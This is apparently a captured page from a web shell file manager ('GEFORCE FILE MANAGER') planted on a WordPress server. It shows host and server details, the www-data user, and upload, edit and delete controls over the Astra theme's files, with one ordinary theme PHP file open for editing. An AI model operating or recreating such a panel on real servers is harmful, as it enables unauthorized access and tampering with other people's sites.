[ SYSTEM ]: Linux wordpress 6.1.0-41-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.158-1 (2025-11-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
themes
/
astra
/
inc
/
modules
/
related-posts
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 css
SET
[ DEL ]
📁 customizer
SET
[ DEL ]
📄 class-astra-related-posts-loader.php
11,632 B
SET
[ EDIT ]
|
[ DEL ]
📄 class-astra-related-posts-markup.php
16,212 B
SET
[ EDIT ]
|
[ DEL ]
📄 class-astra-related-posts.php
1,308 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: class-astra-related-posts.php
<?php /** * Related Posts for Astra theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 3.5.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_RELATED_POSTS_DIR', ASTRA_THEME_DIR . 'inc/modules/related-posts/' ); /** * Related Posts Initial Setup * * @since 3.5.0 */ class Astra_Related_Posts { /** * Constructor function that initializes required actions and hooks * * @since 3.5.0 */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_RELATED_POSTS_DIR . 'class-astra-related-posts-loader.php'; require_once ASTRA_RELATED_POSTS_DIR . 'class-astra-related-posts-markup.php'; // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound // Include front end files. if ( ! is_admin() ) { require_once ASTRA_RELATED_POSTS_DIR . 'css/static-css.php'; // phpcs:ignore: WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_RELATED_POSTS_DIR . 'css/dynamic-css.php'; // phpcs:ignore: WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } } /** * Kicking this off by creating NEW instance. */ new Astra_Related_Posts();